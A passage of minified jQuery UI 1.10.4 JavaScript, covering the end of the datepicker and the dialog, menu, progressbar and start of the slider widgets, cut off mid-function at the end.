class='ui-datepicker-row-break'></div>":""):""),w+=S}b+=w}return b+=l,e._keyEvent=!1,b},_generateMonthYearHeader:function(e,t,i,s,a,n,r,o){var h,l,u,d,c,p,f,m,g=this._get(e,"changeMonth"),v=this._get(e,"changeYear"),y=this._get(e,"showMonthAfterYear"),_="<div class='ui-datepicker-title'>",b="";if(n||!g)b+="<span class='ui-datepicker-month'>"+r[t]+"</span>";else{for(h=s&&s.getFullYear()===i,l=a&&a.getFullYear()===i,b+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",u=0;12>u;u++)(!h||u>=s.getMonth())&&(!l||a.getMonth()>=u)&&(b+="<option value='"+u+"'"+(u===t?" selected='selected'":"")+">"+o[u]+"</option>");b+="</select>"}if(y||(_+=b+(!n&&g&&v?"":"&#xa0;")),!e.yearshtml)if(e.yearshtml="",n||!v)_+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(d=this._get(e,"yearRange").split(":"),c=(new Date).getFullYear(),p=function(e){var t=e.match(/c[+\-].*/)?i+parseInt(e.substring(1),10):e.match(/[+\-].*/)?c+parseInt(e,10):parseInt(e,10);
return isNaN(t)?c:t},f=p(d[0]),m=Math.max(f,p(d[1]||"")),f=s?Math.max(f,s.getFullYear()):f,m=a?Math.min(m,a.getFullYear()):m,e.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";m>=f;f++)e.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";e.yearshtml+="</select>",_+=e.yearshtml,e.yearshtml=null}return _+=this._get(e,"yearSuffix"),y&&(_+=(!n&&g&&v?"":"&#xa0;")+b),_+="</div>"},_adjustInstDate:function(e,t,i){var s=e.drawYear+("Y"===i?t:0),a=e.drawMonth+("M"===i?t:0),n=Math.min(e.selectedDay,this._getDaysInMonth(s,a))+("D"===i?t:0),r=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(s,a,n)));e.selectedDay=r.getDate(),e.drawMonth=e.selectedMonth=r.getMonth(),e.drawYear=e.selectedYear=r.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(e)},_restrictMinMax:function(e,t){var i=this._getMinMaxDate(e,"min"),s=this._getMinMaxDate(e,"max"),a=i&&i>t?i:t;return s&&a>s?s:a},_notifyChange:function(e){var t=this._get(e,"onChangeMonthYear");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){var t=this._get(e,"numberOfMonths");return null==t?[1,1]:"number"==typeof t?[1,t]:t},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+"Date"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,i,s){var a=this._getNumberOfMonths(e),n=this._daylightSavingAdjust(new Date(i,s+(0>t?t:a[0]*a[1]),1));return 0>t&&n.setDate(this._getDaysInMonth(n.getFullYear(),n.getMonth())),this._isInRange(e,n)},_isInRange:function(e,t){var i,s,a=this._getMinMaxDate(e,"min"),n=this._getMinMaxDate(e,"max"),r=null,o=null,h=this._get(e,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),r=parseInt(i[0],10),o=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(r+=s),i[1].match(/[+\-].*/)&&(o+=s)),(!a||t.getTime()>=a.getTime())&&(!n||t.getTime()<=n.getTime())&&(!r||t.getFullYear()>=r)&&(!o||o>=t.getFullYear())},_getFormatConfig:function(e){var t=this._get(e,"shortYearCutoff");return t="string"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),{shortYearCutoff:t,dayNamesShort:this._get(e,"dayNamesShort"),dayNames:this._get(e,"dayNames"),monthNamesShort:this._get(e,"monthNamesShort"),monthNames:this._get(e,"monthNames")}},_formatDate:function(e,t,i,s){t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear);var a=t?"object"==typeof t?t:this._daylightSavingAdjust(new Date(s,i,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return this.formatDate(this._get(e,"dateFormat"),a,this._getFormatConfig(e))}}),e.fn.datepicker=function(t){if(!this.length)return this;e.datepicker.initialized||(e(document).mousedown(e.datepicker._checkExternalClick),e.datepicker.initialized=!0),0===e("#"+e.datepicker._mainDivId).length&&e("body").append(e.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof t||"isDisabled"!==t&&"getDate"!==t&&"widget"!==t?"option"===t&&2===arguments.length&&"string"==typeof arguments[1]?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof t?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this].concat(i)):e.datepicker._attachDatepicker(this,t)}):e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this[0]].concat(i))},e.datepicker=new i,e.datepicker.initialized=!1,e.datepicker.uuid=(new Date).getTime(),e.datepicker.version="1.10.4"})(jQuery);(function(e){var t={buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},i={maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0};e.widget("ui.dialog",{version:"1.10.4",options:{appendTo:"body",autoOpen:!0,buttons:[],closeOnEscape:!0,closeText:"close",dialogClass:"",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(t){var i=e(this).css(t).offset().top;0>i&&e(this).css("top",t.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),this.options.title=this.options.title||this.originalTitle,this._createWrapper(),this.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(this.uiDialog),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&e.fn.draggable&&this._makeDraggable(),this.options.resizable&&e.fn.resizable&&this._makeResizable(),this._isOpen=!1},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?e(t):this.document.find(t||"body").eq(0)},_destroy:function(){var e,t=this.originalPosition;this._destroyOverlay(),this.element.removeUniqueId().removeClass("ui-dialog-content ui-widget-content").css(this.originalCss).detach(),this.uiDialog.stop(!0,!0).remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),e=t.parent.children().eq(t.index),e.length&&e[0]!==this.element[0]?e.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:e.noop,enable:e.noop,close:function(t){var i,s=this;if(this._isOpen&&this._trigger("beforeClose",t)!==!1){if(this._isOpen=!1,this._destroyOverlay(),!this.opener.filter(":focusable").focus().length)try{i=this.document[0].activeElement,i&&"body"!==i.nodeName.toLowerCase()&&e(i).blur()}catch(a){}this._hide(this.uiDialog,this.options.hide,function(){s._trigger("close",t)})}},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(e,t){var i=!!this.uiDialog.nextAll(":visible").insertBefore(this.uiDialog).length;return i&&!t&&this._trigger("focus",e),i},open:function(){var t=this;return this._isOpen?(this._moveToTop()&&this._focusTabbable(),undefined):(this._isOpen=!0,this.opener=e(this.document[0].activeElement),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this._show(this.uiDialog,this.options.show,function(){t._focusTabbable(),t._trigger("focus")}),this._trigger("open"),undefined)},_focusTabbable:function(){var e=this.element.find("[autofocus]");e.length||(e=this.element.find(":tabbable")),e.length||(e=this.uiDialogButtonPane.find(":tabbable")),e.length||(e=this.uiDialogTitlebarClose.filter(":tabbable")),e.length||(e=this.uiDialog),e.eq(0).focus()},_keepFocus:function(t){function i(){var t=this.document[0].activeElement,i=this.uiDialog[0]===t||e.contains(this.uiDialog[0],t);i||this._focusTabbable()}t.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=e("<div>").addClass("ui-dialog ui-widget ui-widget-content ui-corner-all ui-front "+this.options.dialogClass).hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===e.ui.keyCode.ESCAPE)return t.preventDefault(),this.close(t),undefined;if(t.keyCode===e.ui.keyCode.TAB){var i=this.uiDialog.find(":tabbable"),s=i.filter(":first"),a=i.filter(":last");t.target!==a[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==s[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(a.focus(1),t.preventDefault()):(s.focus(1),t.preventDefault())}},mousedown:function(e){this._moveToTop(e)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=e("<div>").addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(this.uiDialog),this._on(this.uiDialogTitlebar,{mousedown:function(t){e(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.focus()}}),this.uiDialogTitlebarClose=e("<button type='button'></button>").button({label:this.options.closeText,icons:{primary:"ui-icon-closethick"},text:!1}).addClass("ui-dialog-titlebar-close").appendTo(this.uiDialogTitlebar),this._on(this.uiDialogTitlebarClose,{click:function(e){e.preventDefault(),this.close(e)}}),t=e("<span>").uniqueId().addClass("ui-dialog-title").prependTo(this.uiDialogTitlebar),this._title(t),this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(e){this.options.title||e.html("&#160;"),e.text(this.options.title)},_createButtonPane:function(){this.uiDialogButtonPane=e("<div>").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),this.uiButtonSet=e("<div>").addClass("ui-dialog-buttonset").appendTo(this.uiDialogButtonPane),this._createButtons()},_createButtons:function(){var t=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),e.isEmptyObject(i)||e.isArray(i)&&!i.length?(this.uiDialog.removeClass("ui-dialog-buttons"),undefined):(e.each(i,function(i,s){var a,n;s=e.isFunction(s)?{click:s,text:i}:s,s=e.extend({type:"button"},s),a=s.click,s.click=function(){a.apply(t.element[0],arguments)},n={icons:s.icons,text:s.showText},delete s.icons,delete s.showText,e("<button></button>",s).button(n).appendTo(t.uiButtonSet)}),this.uiDialog.addClass("ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog),undefined)},_makeDraggable:function(){function t(e){return{position:e.position,offset:e.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(s,a){e(this).addClass("ui-dialog-dragging"),i._blockFrames(),i._trigger("dragStart",s,t(a))},drag:function(e,s){i._trigger("drag",e,t(s))},stop:function(a,n){s.position=[n.position.left-i.document.scrollLeft(),n.position.top-i.document.scrollTop()],e(this).removeClass("ui-dialog-dragging"),i._unblockFrames(),i._trigger("dragStop",a,t(n))}})},_makeResizable:function(){function t(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}var i=this,s=this.options,a=s.resizable,n=this.uiDialog.css("position"),r="string"==typeof a?a:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:r,start:function(s,a){e(this).addClass("ui-dialog-resizing"),i._blockFrames(),i._trigger("resizeStart",s,t(a))},resize:function(e,s){i._trigger("resize",e,t(s))},stop:function(a,n){s.height=e(this).height(),s.width=e(this).width(),e(this).removeClass("ui-dialog-resizing"),i._unblockFrames(),i._trigger("resizeStop",a,t(n))}}).css("position",n)},_minHeight:function(){var e=this.options;return"auto"===e.height?e.minHeight:Math.min(e.minHeight,e.height)},_position:function(){var e=this.uiDialog.is(":visible");e||this.uiDialog.show(),this.uiDialog.position(this.options.position),e||this.uiDialog.hide()},_setOptions:function(s){var a=this,n=!1,r={};e.each(s,function(e,s){a._setOption(e,s),e in t&&(n=!0),e in i&&(r[e]=s)}),n&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",r)},_setOption:function(e,t){var i,s,a=this.uiDialog;"dialogClass"===e&&a.removeClass(this.options.dialogClass).addClass(t),"disabled"!==e&&(this._super(e,t),"appendTo"===e&&this.uiDialog.appendTo(this._appendTo()),"buttons"===e&&this._createButtons(),"closeText"===e&&this.uiDialogTitlebarClose.button({label:""+t}),"draggable"===e&&(i=a.is(":data(ui-draggable)"),i&&!t&&a.draggable("destroy"),!i&&t&&this._makeDraggable()),"position"===e&&this._position(),"resizable"===e&&(s=a.is(":data(ui-resizable)"),s&&!t&&a.resizable("destroy"),s&&"string"==typeof t&&a.resizable("option","handles",t),s||t===!1||this._makeResizable()),"title"===e&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var e,t,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),e=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),t=Math.max(0,s.minHeight-e),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-e):"none","auto"===s.height?this.element.css({minHeight:t,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-e)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var t=e(this);return e("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return e(t.target).closest(".ui-dialog").length?!0:!!e(t.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var t=this,i=this.widgetFullName;e.ui.dialog.overlayInstances||this._delay(function(){e.ui.dialog.overlayInstances&&this.document.bind("focusin.dialog",function(s){t._allowInteraction(s)||(s.preventDefault(),e(".ui-dialog:visible:last .ui-dialog-content").data(i)._focusTabbable())})}),this.overlay=e("<div>").addClass("ui-widget-overlay ui-front").appendTo(this._appendTo()),this._on(this.overlay,{mousedown:"_keepFocus"}),e.ui.dialog.overlayInstances++}},_destroyOverlay:function(){this.options.modal&&this.overlay&&(e.ui.dialog.overlayInstances--,e.ui.dialog.overlayInstances||this.document.unbind("focusin.dialog"),this.overlay.remove(),this.overlay=null)}}),e.ui.dialog.overlayInstances=0,e.uiBackCompat!==!1&&e.widget("ui.dialog",e.ui.dialog,{_position:function(){var t,i=this.options.position,s=[],a=[0,0];i?(("string"==typeof i||"object"==typeof i&&"0"in i)&&(s=i.split?i.split(" "):[i[0],i[1]],1===s.length&&(s[1]=s[0]),e.each(["left","top"],function(e,t){+s[e]===s[e]&&(a[e]=s[e],s[e]=t)}),i={my:s[0]+(0>a[0]?a[0]:"+"+a[0])+" "+s[1]+(0>a[1]?a[1]:"+"+a[1]),at:s.join(" ")}),i=e.extend({},e.ui.dialog.prototype.options.position,i)):i=e.ui.dialog.prototype.options.position,t=this.uiDialog.is(":visible"),t||this.uiDialog.show(),this.uiDialog.position(i),t||this.uiDialog.hide()}})})(jQuery);(function(e){e.widget("ui.menu",{version:"1.10.4",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-carat-1-e"},menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().addClass("ui-menu ui-widget ui-widget-content ui-corner-all").toggleClass("ui-menu-icons",!!this.element.find(".ui-icon").length).attr({role:this.options.role,tabIndex:0}).bind("click"+this.eventNamespace,e.proxy(function(e){this.options.disabled&&e.preventDefault()},this)),this.options.disabled&&this.element.addClass("ui-state-disabled").attr("aria-disabled","true"),this._on({"mousedown .ui-menu-item > a":function(e){e.preventDefault()},"click .ui-state-disabled > a":function(e){e.preventDefault()},"click .ui-menu-item:has(a)":function(t){var i=e(t.target).closest(".ui-menu-item");!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&e(this.document[0].activeElement).closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(t){var i=e(t.currentTarget);i.siblings().children(".ui-state-active").removeClass("ui-state-active"),this.focus(t,i)},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var i=this.active||this.element.children(".ui-menu-item").eq(0);t||this.focus(e,i)},blur:function(t){this._delay(function(){e.contains(this.element[0],this.document[0].activeElement)||this.collapseAll(t)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){e(t.target).closest(".ui-menu").length||this.collapseAll(t),this.mouseHandled=!1}})},_destroy:function(){this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeClass("ui-menu ui-widget ui-widget-content ui-corner-all ui-menu-icons").removeAttr("role").removeAttr("tabIndex").removeAttr("aria-labelledby").removeAttr("aria-expanded").removeAttr("aria-hidden").removeAttr("aria-disabled").removeUniqueId().show(),this.element.find(".ui-menu-item").removeClass("ui-menu-item").removeAttr("role").removeAttr("aria-disabled").children("a").removeUniqueId().removeClass("ui-corner-all ui-state-hover").removeAttr("tabIndex").removeAttr("role").removeAttr("aria-haspopup").children().each(function(){var t=e(this);t.data("ui-menu-submenu-carat")&&t.remove()}),this.element.find(".ui-menu-divider").removeClass("ui-menu-divider ui-widget-content")},_keydown:function(t){function i(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")}var s,a,n,r,o,h=!0;switch(t.keyCode){case e.ui.keyCode.PAGE_UP:this.previousPage(t);break;case e.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case e.ui.keyCode.HOME:this._move("first","first",t);break;case e.ui.keyCode.END:this._move("last","last",t);break;case e.ui.keyCode.UP:this.previous(t);break;case e.ui.keyCode.DOWN:this.next(t);break;case e.ui.keyCode.LEFT:this.collapse(t);break;case e.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case e.ui.keyCode.ENTER:case e.ui.keyCode.SPACE:this._activate(t);break;case e.ui.keyCode.ESCAPE:this.collapse(t);break;default:h=!1,a=this.previousFilter||"",n=String.fromCharCode(t.keyCode),r=!1,clearTimeout(this.filterTimer),n===a?r=!0:n=a+n,o=RegExp("^"+i(n),"i"),s=this.activeMenu.children(".ui-menu-item").filter(function(){return o.test(e(this).children("a").text())}),s=r&&-1!==s.index(this.active.next())?this.active.nextAll(".ui-menu-item"):s,s.length||(n=String.fromCharCode(t.keyCode),o=RegExp("^"+i(n),"i"),s=this.activeMenu.children(".ui-menu-item").filter(function(){return o.test(e(this).children("a").text())})),s.length?(this.focus(t,s),s.length>1?(this.previousFilter=n,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter):delete this.previousFilter}h&&t.preventDefault()},_activate:function(e){this.active.is(".ui-state-disabled")||(this.active.children("a[aria-haspopup='true']").length?this.expand(e):this.select(e))},refresh:function(){var t,i=this.options.icons.submenu,s=this.element.find(this.options.menus);this.element.toggleClass("ui-menu-icons",!!this.element.find(".ui-icon").length),s.filter(":not(.ui-menu)").addClass("ui-menu ui-widget ui-widget-content ui-corner-all").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var t=e(this),s=t.prev("a"),a=e("<span>").addClass("ui-menu-icon ui-icon "+i).data("ui-menu-submenu-carat",!0);s.attr("aria-haspopup","true").prepend(a),t.attr("aria-labelledby",s.attr("id"))}),t=s.add(this.element),t.children(":not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","presentation").children("a").uniqueId().addClass("ui-corner-all").attr({tabIndex:-1,role:this._itemRole()}),t.children(":not(.ui-menu-item)").each(function(){var t=e(this);/[^\-\u2014\u2013\s]/.test(t.text())||t.addClass("ui-widget-content ui-menu-divider")}),t.children(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!e.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){"icons"===e&&this.element.find(".ui-menu-icon").removeClass(this.options.icons.submenu).addClass(t.submenu),this._super(e,t)},focus:function(e,t){var i,s;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),s=this.active.children("a").addClass("ui-state-focus"),this.options.role&&this.element.attr("aria-activedescendant",s.attr("id")),this.active.parent().closest(".ui-menu-item").children("a:first").addClass("ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=t.children(".ui-menu"),i.length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(t){var i,s,a,n,r,o;this._hasScroll()&&(i=parseFloat(e.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(e.css(this.activeMenu[0],"paddingTop"))||0,a=t.offset().top-this.activeMenu.offset().top-i-s,n=this.activeMenu.scrollTop(),r=this.activeMenu.height(),o=t.height(),0>a?this.activeMenu.scrollTop(n+a):a+o>r&&this.activeMenu.scrollTop(n+a-r+o))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this.active.children("a").removeClass("ui-state-focus"),this.active=null,this._trigger("blur",e,{item:this.active}))},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(e)},this.delay))},_open:function(t){var i=e.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:e(t&&t.target).closest(this.element.find(".ui-menu"));s.length||(s=this.element),this._close(s),this.blur(t),this.activeMenu=s},this.delay)},_close:function(e){e||(e=this.active?this.active.parent():this.element),e.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false").end().find("a.ui-state-active").removeClass("ui-state-active")},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this.active.children(".ui-menu ").children(".ui-menu-item").first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(e,t)}))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(e,t,i){var s;this.active&&(s="first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[e+"All"](".ui-menu-item").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.children(".ui-menu-item")[t]()),this.focus(i,s)},nextPage:function(t){var i,s,a;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,a=this.element.height(),this.active.nextAll(".ui-menu-item").each(function(){return i=e(this),0>i.offset().top-s-a}),this.focus(t,i)):this.focus(t,this.activeMenu.children(".ui-menu-item")[this.active?"last":"first"]())),undefined):(this.next(t),undefined)},previousPage:function(t){var i,s,a;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,a=this.element.height(),this.active.prevAll(".ui-menu-item").each(function(){return i=e(this),i.offset().top-s+a>0}),this.focus(t,i)):this.focus(t,this.activeMenu.children(".ui-menu-item").first())),undefined):(this.next(t),undefined)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||e(t.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,i)}})})(jQuery);(function(e,t){e.widget("ui.progressbar",{version:"1.10.4",options:{max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min}),this.valueDiv=e("<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>").appendTo(this.element),this._refreshValue()},_destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.valueDiv.remove()},value:function(e){return e===t?this.options.value:(this.options.value=this._constrainedValue(e),this._refreshValue(),t)},_constrainedValue:function(e){return e===t&&(e=this.options.value),this.indeterminate=e===!1,"number"!=typeof e&&(e=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var t=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(t),this._refreshValue()},_setOption:function(e,t){"max"===e&&(t=Math.max(this.min,t)),this._super(e,t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).toggleClass("ui-corner-right",t===this.options.max).width(i.toFixed(0)+"%"),this.element.toggleClass("ui-progressbar-indeterminate",this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=e("<div class='ui-progressbar-overlay'></div>").appendTo(this.valueDiv))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger("change")),t===this.options.max&&this._trigger("complete")}})})(jQuery);(function(e){var t=5;e.widget("ui.slider",e.ui.mouse,{version:"1.10.4",widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget"+" ui-widget-content"+" ui-corner-all"),this._refresh(),this._setOption("disabled",this.options.disabled),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,i,s=this.options,n=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),a="<a class='ui-slider-handle ui-state-default ui-corner-all' href='#'></a>",o=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),t=n.length;i>t;t++)o.push(a);this.handles=n.add(e(o.join("")).appendTo(this.element)),this.handle=this.handles.eq(0),this.handles.each(function(t){e(this).data("ui-slider-handle-index",t)})},_createRange:function(){var t=this.options,i="";t.range?(t.range===!0&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:e.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?this.range.removeClass("ui-slider-range-min ui-slider-range-max").css({left:"",bottom:""}):(this.range=e("<div></div>").appendTo(this.element),i="ui-slider-range ui-widget-header ui-corner-all"),this.range.addClass(i+("min"===t.range||"max"===t.range?" ui-slider-range-"+t.range:""))):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){var e=this.handles.add(this.range).filter("a");this._off(e),this._on(e,this._handleEvents),this._hoverable(e),this._focusable(e)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all"),this._mouseDestroy()},_mouseCapture:function(t){var i,s,n,a,o,r,h,l,u=this,d=this.options;return d.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:t.pageX,y:t.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var i=Math.abs(s-u.values(t));(n>i||n===i&&(t===u._lastChangedValue||u.values(t)===d.min))&&(n=i,a=e(this),o=t)}),r=this._start(t,o),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=o,a.addClass("ui-state-active").focus(),h=a.offset(),l=!e(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:t.pageX-h.left-a.width()/2,top:t.pageY-h.top-a.height()/2-(parseInt(a.css("borderTopWidth"),10)||0)-(parseInt(a.css("borderBottomWidth"),10)||0)+(parseInt(a.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,o,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY},i=this._normValueFromMouse(t);return this._slide(e,this._handleIndex,i),!1},_mouseStop:function(e){return 